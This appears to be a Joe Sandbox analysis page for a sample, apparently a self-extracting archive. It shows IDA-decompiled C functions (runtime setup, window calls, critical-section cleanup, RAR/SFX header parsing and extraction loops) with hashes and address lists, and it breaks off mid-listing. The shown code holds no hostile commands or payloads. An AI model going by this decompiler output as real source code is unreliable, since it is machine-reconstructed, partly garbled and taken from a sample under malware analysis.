Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 01bc3e2fb0ce6ddecf86b2950fee37d7c903cd7622f478287c661466633f630c
Instruction ID: 1233e8cb71aca39923eecd476df2baaa75ca8084e64775f50600a914971d1e02
Opcode Fuzzy Hash: 01bc3e2fb0ce6ddecf86b2950fee37d7c903cd7622f478287c661466633f630c
Instruction Fuzzy Hash: D6E01A36548644DFC721DB4CD945B46BBEDFB09B20F104769B91A83B90DB386C00CB95

Uniqueness

Uniqueness Score: -1.00%

Function 013C0C46 Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E013C0C46(void* __ecx, void* __eflags) {
				intOrPtr _t1;
				void* _t2;
				void* _t9;

				_t1 = E013C1D87(__eflags, E013C0B8A); // executed
				 *0x13da1e0 = _t1;
				if(_t1 != 0xffffffff) {
					_t2 = E013C1E35(__eflags, _t1, 0x13facfc);
					_pop(_t9);
					__eflags = _t2;
					if(_t2 != 0) {
						return 1;
					} else {
						E013C0C79(_t9);
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x013c0c4b
0x013c0c50
0x013c0c59
0x013c0c64
0x013c0c6a
0x013c0c6b
0x013c0c6d
0x013c0c78
0x013c0c6f
0x013c0c6f
0x00000000
0x013c0c6f
0x013c0c5b
0x013c0c5b
0x013c0c5d
0x013c0c5d

APIs

Part of subcall function 013C1D87: try_get_function.LIBVCRUNTIME ref: 013C1D9C

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 013C0C64
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 013C0C6F

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: b339c4ebea321fc5144fd801d8495b6b5abe860ee6bc9222020da970a105799b
Instruction ID: e1953683131a03625d697c2381f12b80054f6135e6b1f3c49586b2d1b65805d3
Opcode Fuzzy Hash: b339c4ebea321fc5144fd801d8495b6b5abe860ee6bc9222020da970a105799b
Instruction Fuzzy Hash: 84D0A7BD148383C4EC0C76BCB40045622484821FBC360834DF024CE5C2DA1188417715

Uniqueness

Uniqueness Score: -1.00%

Function 013A12C2 Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013A12C2(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x013a12c9
0x013a12de
0x013a12e4

APIs

GetDlgItem.USER32(?,?), ref: 013A12D7
ShowWindow.USER32(00000000), ref: 013A12DE

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 91e3d5988114b0973cabc2e748b902776e961b46a1ddce6a1e3f6bd18d73b0dc
Instruction ID: 550a0a74594375e8cb0e2d5808fb382e63d8a1d243692bc8474f3e79a132582f
Opcode Fuzzy Hash: 91e3d5988114b0973cabc2e748b902776e961b46a1ddce6a1e3f6bd18d73b0dc
Instruction Fuzzy Hash: F9C01232058200BFCB010BB0EE09C2EBBAEABA5316F00CD08B4A5C2094C238C020DB11

Uniqueness

Uniqueness Score: -1.00%

Function 013AFC3C Relevance: 2.5, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E013AFC3C(intOrPtr _a4) {
				intOrPtr _t3;
				intOrPtr _t12;

				if(_a4 == 0) {
					return _t3;
				}
				EnterCriticalSection(0x13e1e74);
				_t12 =  *0x13e1e8c; // 0x6c4300
				if(_a4 == _t12) {
					_t3 =  *0x13e1e90; // 0x0
					if(_t3 != 0) {
						_t3 = _t3 - 1;
						 *0x13e1e90 = _t3;
						if(_t3 == 0 && _t12 != 0) {
							E013AFA23(_t12); // executed
							_push(0x1b8);
							_t3 = E013BCDDF(_t12);
						}
					}
				}
				LeaveCriticalSection(0x13e1e74);
				return _t3;
			}

0x013afc41
0x013afc91
0x013afc91
0x013afc4b
0x013afc51
0x013afc5b
0x013afc5d
0x013afc64
0x013afc66
0x013afc69
0x013afc6e
0x013afc76
0x013afc7b
0x013afc81
0x013afc87
0x013afc6e
0x013afc64
0x013afc89
0x00000000

APIs

EnterCriticalSection.KERNEL32(013E1E74,?,?,013AA5F0,?,?,?,?,013CF605,000000FF), ref: 013AFC4B
LeaveCriticalSection.KERNEL32(013E1E74,?,?,013AA5F0,?,?,?,?,013CF605,000000FF), ref: 013AFC89

Part of subcall function 013AFA23: ReleaseSemaphore.KERNEL32(?,00000020,00000000), ref: 013AFA57
Part of subcall function 013AFA23: FindCloseChangeNotification.KERNELBASE(006C4304,006C4304), ref: 013AFA71
Part of subcall function 013AFA23: DeleteCriticalSection.KERNEL32(006C44A0), ref: 013AFA8A
Part of subcall function 013AFA23: FindCloseChangeNotification.KERNELBASE(?), ref: 013AFA96
Part of subcall function 013AFA23: CloseHandle.KERNEL32(?), ref: 013AFAA2

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CloseCriticalSection$ChangeFindNotification$DeleteEnterHandleLeaveReleaseSemaphore
String ID:
API String ID: 2076764878-0
Opcode ID: 906560226007b82d24c78515d2789436d5fb032ce001730c27480c8146a42b11
Instruction ID: ca97f1a153a20b9bf2a6989db71448733a56ebaf92eadcb89d973fff412b4bc5
Opcode Fuzzy Hash: 906560226007b82d24c78515d2789436d5fb032ce001730c27480c8146a42b11
Instruction Fuzzy Hash: C3F0E532601310ABEB365A2EE4085BE7BACEBC5B6DF84401DF908A75C4C7708D01CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 013A19E2 Relevance: 1.8, APIs: 1, Instructions: 275
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E013A19E2(intOrPtr* __ecx, intOrPtr __edx) {
				signed int _t106;
				intOrPtr _t109;
				signed int _t110;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				signed int _t115;
				signed int _t116;
				signed int _t125;
				intOrPtr _t126;
				char _t133;
				intOrPtr _t138;
				signed int _t139;
				signed int _t140;
				void* _t142;
				signed int _t147;
				intOrPtr _t148;
				signed int _t150;
				void* _t154;
				void* _t155;
				char _t159;
				intOrPtr* _t162;
				signed int _t168;
				void* _t169;
				signed int _t171;
				char* _t183;
				intOrPtr _t184;
				intOrPtr _t190;
				intOrPtr* _t192;
				signed int _t196;
				intOrPtr _t198;
				char* _t199;
				intOrPtr _t200;
				void* _t201;

				_t190 = __edx;
				_t162 = __ecx;
				E013BCDF0(E013CF3F1, _t201);
				_t192 = _t162;
				_t159 = 0;
				_push(7);
				_t195 = _t192 + 0x21f8;
				_push(_t192 + 0x21f8);
				 *((char*)(_t192 + 0x6cbc)) = 0;
				 *((char*)(_t192 + 0x6cc4)) = 0;
				if( *((intOrPtr*)( *_t192 + 0xc))() == 7) {
					 *((intOrPtr*)(_t192 + 0x6cc0)) = 0;
					_t106 = E013A1D7A(_t195, 7);
					__eflags = _t106;
					if(_t106 == 0) {
						E013A138D(_t201 - 0x30, 0x200000);
						 *(_t201 - 4) = 0;
						_t109 =  *((intOrPtr*)( *_t192 + 0x14))();
						_t190 =  *_t192;
						 *((intOrPtr*)(_t201 - 0x18)) = _t109;
						_t110 =  *((intOrPtr*)(_t190 + 0xc))( *((intOrPtr*)(_t201 - 0x30)),  *((intOrPtr*)(_t201 - 0x2c)) + 0xfffffff0);
						_t168 = _t110;
						_t196 = 0;
						 *(_t201 - 0x14) = _t168;
						__eflags = _t168;
						if(_t168 <= 0) {
							L22:
							_t169 = _t201 - 0x30;
							__eflags =  *((intOrPtr*)(_t192 + 0x6cc0)) - _t159;
							if( *((intOrPtr*)(_t192 + 0x6cc0)) != _t159) {
								_t35 = _t201 - 4; // executed
								 *_t35 =  *(_t201 - 4) | 0xffffffff;
								__eflags =  *_t35;
								E013A15CE(_t169); // executed
								goto L25;
							}
							E013A15CE(_t169);
							goto L1;
						} else {
							goto L6;
						}
						do {
							L6:
							_t183 =  *((intOrPtr*)(_t201 - 0x30)) + _t196;
							__eflags =  *_t183 - 0x52;
							if( *_t183 != 0x52) {
								goto L17;
							}
							_t147 = E013A1D7A(_t183, _t110 - _t196);
							__eflags = _t147;
							if(_t147 == 0) {
								L16:
								_t110 =  *(_t201 - 0x14);
								goto L17;
							}
							_t184 =  *((intOrPtr*)(_t201 - 0x18));
							 *(_t192 + 0x6cb0) = _t147;
							__eflags = _t147 - 1;
							if(_t147 != 1) {
								L19:
								_t190 =  *_t192;
								_t148 = _t196 + _t184;
								 *((intOrPtr*)(_t192 + 0x6cc0)) = _t148;
								 *((intOrPtr*)(_t190 + 0x10))(_t148, _t159, _t159);
								_t150 =  *(_t192 + 0x6cb0);
								__eflags = _t150 - 2;
								if(_t150 == 2) {
									L21:
									 *((intOrPtr*)( *_t192 + 0xc))(_t192 + 0x21f8, 7);
									goto L22;
								}
								__eflags = _t150 - 3;
								if(_t150 != 3) {
									goto L22;
								}
								goto L21;
							}
							__eflags = _t196;
							if(_t196 <= 0) {
								goto L19;
							}
							__eflags = _t184 - 0x1c;
							if(_t184 >= 0x1c) {
								goto L19;
							}
							__eflags =  *(_t201 - 0x14) - 0x1f;
							if( *(_t201 - 0x14) <= 0x1f) {
								goto L19;
							}
							_t154 =  *((intOrPtr*)(_t201 - 0x30)) - _t184;
							__eflags =  *((char*)(_t154 + 0x1c)) - 0x52;
							if( *((char*)(_t154 + 0x1c)) != 0x52) {
								goto L16;
							}
							__eflags =  *((char*)(_t154 + 0x1d)) - 0x53;
							if( *((char*)(_t154 + 0x1d)) != 0x53) {
								goto L16;
							}
							__eflags =  *((char*)(_t154 + 0x1e)) - 0x46;
							if( *((char*)(_t154 + 0x1e)) != 0x46) {
								goto L16;
							}
							__eflags =  *((char*)(_t154 + 0x1f)) - 0x58;
							if( *((char*)(_t154 + 0x1f)) == 0x58) {
								goto L19;
							}
							goto L16;
							L17:
							_t196 = _t196 + 1;
							__eflags = _t196 - _t110;
						} while (_t196 < _t110);
						goto L22;
					} else {
						 *(_t192 + 0x6cb0) = _t106;
						__eflags = _t106 - 1;
						if(_t106 == 1) {
							_t200 =  *_t192;
							_t155 =  *((intOrPtr*)(_t200 + 0x14))(0);
							asm("sbb edx, ebx");
							 *((intOrPtr*)(_t200 + 0x10))(_t155 - 7, _t190);
						}
						L25:
						_t112 =  *(_t192 + 0x6cb0);
						__eflags = _t112 - 4;
						if(__eflags != 0) {
							__eflags = _t112 - 3;
							if(_t112 != 3) {
								 *((intOrPtr*)(_t192 + 0x2200)) = 7;
								L32:
								 *((char*)(_t201 - 0xd)) = _t159;
								_t113 = E013A3A0D(_t192, _t190);
								__eflags = _t113;
								_t114 = _t113 & 0xffffff00 | _t113 != 0x00000000;
								 *(_t201 - 0xe) = _t114;
								__eflags = _t114 - 1;
								if(_t114 != 1) {
									L38:
									_t115 =  *((intOrPtr*)(_t201 - 0xd));
									L39:
									_t171 =  *((intOrPtr*)(_t192 + 0x6cc5));
									__eflags = _t171;
									if(_t171 == 0) {
										L41:
										__eflags =  *((char*)(_t192 + 0x6cc4));
										if( *((char*)(_t192 + 0x6cc4)) != 0) {
											L43:
											__eflags = _t171;
											if(__eflags == 0) {
												E013A135C(__eflags, 0x1b, _t192 + 0x1e);
											}
											__eflags =  *((char*)(_t201 + 8));
											if( *((char*)(_t201 + 8)) == 0) {
												goto L1;
											} else {
												L46:
												__eflags =  *(_t201 - 0xe);
												 *((char*)(_t192 + 0x6cb6)) =  *((intOrPtr*)(_t192 + 0x2224));
												if( *(_t201 - 0xe) == 0) {
													L67:
													__eflags =  *((char*)(_t192 + 0x6cb5));
													if( *((char*)(_t192 + 0x6cb5)) == 0) {
														L69:
														E013AF160(_t192 + 0x6cfa, _t192 + 0x1e, 0x800);
														L70:
														_t116 = 1;
														L71:
														 *[fs:0x0] =  *((intOrPtr*)(_t201 - 0xc));
														return _t116;
													}
													__eflags =  *((char*)(_t192 + 0x6cb9));
													if( *((char*)(_t192 + 0x6cb9)) == 0) {
														goto L70;
													}
													goto L69;
												}
												__eflags =  *((char*)(_t192 + 0x21e0));
												if( *((char*)(_t192 + 0x21e0)) == 0) {
													L49:
													 *((intOrPtr*)(_t201 - 0x2c)) = _t192;
													 *((intOrPtr*)(_t201 - 0x24)) =  *((intOrPtr*)( *_t192 + 0x14))();
													 *((intOrPtr*)(_t201 - 0x20)) = _t190;
													_t198 =  *((intOrPtr*)(_t192 + 0x6ca0));
													 *((intOrPtr*)(_t201 + 8)) =  *((intOrPtr*)(_t192 + 0x6ca4));
													 *((intOrPtr*)(_t201 - 0x18)) =  *((intOrPtr*)(_t192 + 0x6ca8));
													 *(_t201 - 0x14) =  *(_t192 + 0x6cac);
													 *(_t201 - 4) = 1;
													 *((intOrPtr*)(_t201 - 0x1c)) =  *((intOrPtr*)(_t192 + 0x21dc));
													while(1) {
														_t125 = E013A3A0D(_t192, _t190);
														__eflags = _t125;
														if(_t125 == 0) {
															break;
														}
														_t126 =  *((intOrPtr*)(_t192 + 0x21dc));
														__eflags = _t126 - 3;
														if(_t126 != 3) {
															__eflags = _t126 - 2;
															if(_t126 == 2) {
																__eflags =  *((char*)(_t192 + 0x6cb5));
																if( *((char*)(_t192 + 0x6cb5)) != 0) {
																	__eflags =  *((char*)(_t192 + 0x3318));
																	if( *((char*)(_t192 + 0x3318)) == 0) {
																		_t159 = 1;
																		__eflags = 1;
																	}
																}
																 *((char*)(_t192 + 0x6cb9)) = _t159;
																L66:
																_t87 = _t201 - 4;
																 *_t87 =  *(_t201 - 4) | 0xffffffff;
																__eflags =  *_t87;
																 *((intOrPtr*)(_t192 + 0x6ca4)) =  *((intOrPtr*)(_t201 + 8));
																 *((intOrPtr*)(_t192 + 0x6ca8)) =  *((intOrPtr*)(_t201 - 0x18));
																 *(_t192 + 0x6cac) =  *(_t201 - 0x14);
																 *((intOrPtr*)(_t192 + 0x6ca0)) = _t198;
																 *((intOrPtr*)(_t192 + 0x21dc)) =  *((intOrPtr*)(_t201 - 0x1c));
																E013A16D0(_t201 - 0x2c); // executed
																goto L67;
															}
															__eflags = _t126 - 5;
															if(_t126 == 5) {
																goto L66;
															}
															L59:
															E013A1EAB(_t192);
															continue;
														}
														__eflags =  *((char*)(_t192 + 0x6cb5));
														if( *((char*)(_t192 + 0x6cb5)) == 0) {
															L55:
															_t133 = _t159;
															L56:
															 *((char*)(_t192 + 0x6cb9)) = _t133;
															goto L59;
														}
														__eflags =  *((char*)(_t192 + 0x5668));
														if( *((char*)(_t192 + 0x5668)) != 0) {
															goto L55;
														}
														_t133 = 1;
														goto L56;
													}
													goto L66;
												}
												__eflags =  *((char*)(_t192 + 0x6cbc));
												if( *((char*)(_t192 + 0x6cbc)) != 0) {
													goto L67;
												}
												goto L49;
											}
										}
										__eflags = _t115;
										if(_t115 != 0) {
											goto L46;
										}
										goto L43;
									}
									__eflags =  *((char*)(_t201 + 8));
									if( *((char*)(_t201 + 8)) == 0) {
										goto L1;
									}
									goto L41;
								}
								 *((char*)(_t201 - 0xd)) = _t159;
								while(1) {
									E013A1EAB(_t192);
									_t138 =  *((intOrPtr*)(_t192 + 0x21dc));
									__eflags = _t138 - 1;
									if(_t138 == 1) {
										break;
									}
									__eflags =  *((char*)(_t192 + 0x21e0));
									if( *((char*)(_t192 + 0x21e0)) == 0) {
										L37:
										_t139 = E013A3A0D(_t192, _t190);
										__eflags = _t139;
										_t140 = _t139 & 0xffffff00 | _t139 != 0x00000000;
										 *(_t201 - 0xe) = _t140;
										__eflags = _t140 - 1;
										if(_t140 == 1) {
											continue;
										}
										goto L38;
									}
									__eflags = _t138 - 4;
									if(_t138 == 4) {
										break;
									}
									goto L37;
								}
								_t115 = 1;
								goto L39;
							}
							_t199 = _t192 + 0x21ff;
							_t142 =  *((intOrPtr*)( *_t192 + 0xc))(_t199, 1);
							__eflags = _t142 - 1;
							if(_t142 != 1) {
								goto L1;
							}
							__eflags =  *_t199;
							if( *_t199 != 0) {
								goto L1;
							}
							 *((intOrPtr*)(_t192 + 0x2200)) = 8;
							goto L32;
						}
						E013A135C(__eflags, 0x3c, _t192 + 0x1e);
						goto L1;
					}
				}
				L1:
				_t116 = 0;
				goto L71;
			}

0x013a19e2
0x013a19e2
0x013a19e7
0x013a19f2
0x013a19f4
0x013a19f6
0x013a19fa
0x013a1a00
0x013a1a01
0x013a1a07
0x013a1a13
0x013a1a1f
0x013a1a25
0x013a1a2a
0x013a1a2c
0x013a1a5e
0x013a1a67
0x013a1a6a
0x013a1a70
0x013a1a7b
0x013a1a7e
0x013a1a81
0x013a1a83
0x013a1a85
0x013a1a88
0x013a1a8a
0x013a1b1e
0x013a1b1e
0x013a1b21
0x013a1b27
0x013a1b33
0x013a1b33
0x013a1b33
0x013a1b37
0x00000000
0x013a1b37
0x013a1b29
0x00000000
0x00000000
0x00000000
0x00000000
0x013a1a90
0x013a1a90
0x013a1a93
0x013a1a95
0x013a1a98
0x00000000
0x00000000
0x013a1a9e
0x013a1aa3
0x013a1aa5
0x013a1ae1
0x013a1ae1
0x00000000
0x013a1ae1
0x013a1aa7
0x013a1aaa
0x013a1ab0
0x013a1ab3
0x013a1aeb
0x013a1aeb
0x013a1aed
0x013a1af5
0x013a1afb
0x013a1afe
0x013a1b04
0x013a1b07
0x013a1b0e
0x013a1b1b
0x00000000
0x013a1b1b
0x013a1b09
0x013a1b0c
0x00000000
0x00000000
0x00000000
0x013a1b0c
0x013a1ab5
0x013a1ab7
0x00000000
0x00000000
0x013a1ab9
0x013a1abc
0x00000000
0x00000000
0x013a1abe
0x013a1ac2
0x00000000
0x00000000
0x013a1ac7
0x013a1ac9
0x013a1acd
0x00000000
0x00000000
0x013a1acf
0x013a1ad3
0x00000000
0x00000000
0x013a1ad5
0x013a1ad9
0x00000000
0x00000000
0x013a1adb
0x013a1adf
0x00000000
0x00000000
0x00000000
0x013a1ae4
0x013a1ae4
0x013a1ae5
0x013a1ae5
0x00000000
0x013a1a2e
0x013a1a2e
0x013a1a34
0x013a1a37
0x013a1a3d
0x013a1a42
0x013a1a4a
0x013a1a4e
0x013a1a4e
0x013a1b3c
0x013a1b3c
0x013a1b42
0x013a1b45
0x013a1b57
0x013a1b5a
0x013a1b8a
0x013a1b94
0x013a1b96
0x013a1b99
0x013a1b9e
0x013a1ba0
0x013a1ba3
0x013a1ba6
0x013a1ba8
0x013a1be8
0x013a1be8
0x013a1beb
0x013a1beb
0x013a1bf1
0x013a1bf3
0x013a1bff
0x013a1bff
0x013a1c06
0x013a1c0c
0x013a1c0c
0x013a1c0e
0x013a1c16
0x013a1c16
0x013a1c1b
0x013a1c1f
0x00000000
0x013a1c25
0x013a1c25
0x013a1c25
0x013a1c2f
0x013a1c35
0x013a1d36
0x013a1d36
0x013a1d3d
0x013a1d48
0x013a1d58
0x013a1d5d
0x013a1d5d
0x013a1d5f
0x013a1d65
0x013a1d6f
0x013a1d6f
0x013a1d3f
0x013a1d46
0x00000000
0x00000000
0x00000000
0x013a1d46
0x013a1c3b
0x013a1c42
0x013a1c51
0x013a1c55
0x013a1c5b
0x013a1c5e
0x013a1c67
0x013a1c6d
0x013a1c76
0x013a1c7f
0x013a1c88
0x013a1c8f
0x013a1cd8
0x013a1cda
0x013a1cdf
0x013a1ce1
0x00000000
0x00000000
0x013a1c9b
0x013a1ca1
0x013a1ca4
0x013a1cc7
0x013a1cca
0x013a1ce5
0x013a1cec
0x013a1cee
0x013a1cf5
0x013a1cf9
0x013a1cf9
0x013a1cf9
0x013a1cf5
0x013a1cfa
0x013a1d00
0x013a1d06
0x013a1d06
0x013a1d06
0x013a1d0a
0x013a1d13
0x013a1d1c
0x013a1d25
0x013a1d2b
0x013a1d31
0x00000000
0x013a1d31
0x013a1ccc
0x013a1ccf
0x00000000
0x00000000
0x013a1cd1
0x013a1cd3
0x00000000
0x013a1cd3
0x013a1ca6
0x013a1cad
0x013a1cbd
0x013a1cbd
0x013a1cbf
0x013a1cbf
0x00000000
0x013a1cbf
0x013a1caf
0x013a1cb6
0x00000000
0x00000000
0x013a1cba
0x00000000
0x013a1cba
0x00000000
0x013a1ce3
0x013a1c44
0x013a1c4b
0x00000000
0x00000000
0x00000000
0x013a1c4b
0x013a1c1f
0x013a1c08
0x013a1c0a
0x00000000
0x00000000
0x00000000
0x013a1c0a
0x013a1bf5
0x013a1bf9
0x00000000
0x00000000
0x00000000
0x013a1bf9
0x013a1baa
0x013a1bad
0x013a1baf
0x013a1bb4
0x013a1bba
0x013a1bbd
0x00000000
0x00000000
0x013a1bc3
0x013a1bca
0x013a1bd5
0x013a1bd7
0x013a1bdc
0x013a1bde
0x013a1be1
0x013a1be4
0x013a1be6
0x00000000
0x00000000
0x00000000
0x013a1be6
0x013a1bcc
0x013a1bcf
0x00000000
0x00000000
0x00000000
0x013a1bcf
0x013a1c94
0x00000000
0x013a1c94
0x013a1b5e
0x013a1b69
0x013a1b6c
0x013a1b6f
0x00000000
0x00000000
0x013a1b75
0x013a1b78
0x00000000
0x00000000
0x013a1b7e
0x00000000
0x013a1b7e
0x013a1b4d
0x00000000
0x013a1b4d
0x013a1a2c
0x013a1a15
0x013a1a15
0x00000000

APIs

__EH_prolog.LIBCMT ref: 013A19E7

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2768e8caf9b11c4ad34ab5332f3ecd24ba82a338c9df723946d902599ad6cbbe
Instruction ID: d87c85869b4e6a0893f85228f070a342e8ab2b97ce9f378c86aac60679152ec6
Opcode Fuzzy Hash: 2768e8caf9b11c4ad34ab5332f3ecd24ba82a338c9df723946d902599ad6cbbe
Instruction Fuzzy Hash: 30B1DF70A04646AFEF29CF7CC498AB9FBE5FF0520CF84424AD56697281CB31A564CB91

Uniqueness

Uniqueness Score: -1.00%

Function 013A81ED Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E013A81ED(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t47;
				signed int _t50;
				signed int _t51;
				void* _t53;
				signed int _t55;
				intOrPtr _t73;
				signed int _t80;
				intOrPtr _t88;
				void* _t89;
				void* _t91;
				intOrPtr _t93;
				void* _t95;
				void* _t98;

				_t98 = __eflags;
				_t90 = __edi;
				_t88 = __edx;
				_t73 = __ecx;
				E013BCDF0(E013CF571, _t95);
				E013BCEC0();
				_t93 = _t73;
				_t1 = _t95 - 0x9d58; // -38232
				E013A13AF(_t1, _t88, __edi, _t98,  *(_t93 + 8));
				 *(_t95 - 4) =  *(_t95 - 4) & 0x00000000;
				_t6 = _t95 - 0x9d58; // -38232
				if(E013A9BF2(_t6, _t93 + 0xf4) != 0) {
					_t7 = _t95 - 0x9d58; // -38232, executed
					_t47 = E013A19E2(_t7, _t88, 1); // executed
					if(_t47 != 0) {
						__eflags =  *((char*)(_t95 - 0x3093));
						if( *((char*)(_t95 - 0x3093)) == 0) {
							_push(__edi);
							_t91 = 0;
							__eflags =  *(_t95 - 0x30a3);
							if(__eflags != 0) {
								_t10 = _t95 - 0x9d3a; // -38202
								_t11 = _t95 - 0x1010; // -2064
								_t61 = E013AF160(_t11, _t10, 0x800);
								__eflags =  *(_t95 - 0x309e);
								while(1) {
									_t17 = _t95 - 0x1010; // -2064
									E013AB71B(_t17, 0x800, (_t61 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
									_t18 = _t95 - 0x2058; // -6232
									E013A6FA3(_t18);
									_push(0);
									_t19 = _t95 - 0x2058; // -6232
									_t20 = _t95 - 0x1010; // -2064
									__eflags = E013AA195(_t18, _t88, __eflags, _t20, _t19);
									if(__eflags == 0) {
										break;
									}
									_t91 = _t91 +  *((intOrPtr*)(_t95 - 0x1058));
									asm("adc ebx, [ebp-0x1054]");
									__eflags =  *(_t95 - 0x309e);
								}
								 *((intOrPtr*)(_t93 + 0x98)) =  *((intOrPtr*)(_t93 + 0x98)) + _t91;
								asm("adc [esi+0x9c], ebx");
							}
							_t23 = _t95 - 0x9d58; // -38232
							E013A8385(_t93, _t88, _t95, __eflags, _t23);
							_t50 =  *(_t93 + 8);
							_t89 = 0x49;
							_pop(_t90);
							_t80 =  *(_t50 + 0x82ea) & 0x0000ffff;
							__eflags = _t80 - 0x54;
							if(_t80 == 0x54) {
								L11:
								 *((char*)(_t50 + 0x61f9)) = 1;
							} else {
								__eflags = _t80 - _t89;
								if(_t80 == _t89) {
									goto L11;
								}
							}
							_t51 =  *(_t93 + 8);
							__eflags =  *((intOrPtr*)(_t51 + 0x82ea)) - _t89;
							if( *((intOrPtr*)(_t51 + 0x82ea)) != _t89) {
								__eflags =  *((char*)(_t51 + 0x61f9));
								_t32 =  *((char*)(_t51 + 0x61f9)) == 0;
								__eflags =  *((char*)(_t51 + 0x61f9)) == 0;
								E013B06B6((_t51 & 0xffffff00 | _t32) & 0x000000ff, (_t51 & 0xffffff00 | _t32) & 0x000000ff, _t93 + 0xf4);
							}
							_t33 = _t95 - 0x9d58; // -38232, executed
							E013A1EBF(_t33, _t89, _t93);
							do {
								_t34 = _t95 - 0x9d58; // -38232
								_t53 = E013A3A0D(_t34, _t89);
								_t35 = _t95 - 0xd; // 0x7f3
								_t36 = _t95 - 0x9d58; // -38232
								_t55 = E013A83EB(_t93, _t36, _t53, _t35); // executed
								__eflags = _t55;
							} while (_t55 != 0);
						}
					} else {
						E013A6E8B(0x13dcbe8, 1);
					}
				}
				_t37 = _t95 - 0x9d58; // -38232, executed
				E013A165F(_t37, _t90, _t93); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t95 - 0xc));
				return 0;
			}

0x013a81ed
0x013a81ed
0x013a81ed
0x013a81ed
0x013a81f2
0x013a81fc
0x013a8202
0x013a8204
0x013a820d
0x013a8212
0x013a821d
0x013a822a
0x013a8232
0x013a8238
0x013a823f
0x013a8252
0x013a8259
0x013a8260
0x013a8263
0x013a8265
0x013a826b
0x013a8272
0x013a8279
0x013a8280
0x013a8285
0x013a82a0
0x013a82ac
0x013a82b3
0x013a82b8
0x013a82be
0x013a82c3
0x013a82c5
0x013a82cc
0x013a82d8
0x013a82da
0x00000000
0x00000000
0x013a828d
0x013a8293
0x013a8299
0x013a8299
0x013a82dc
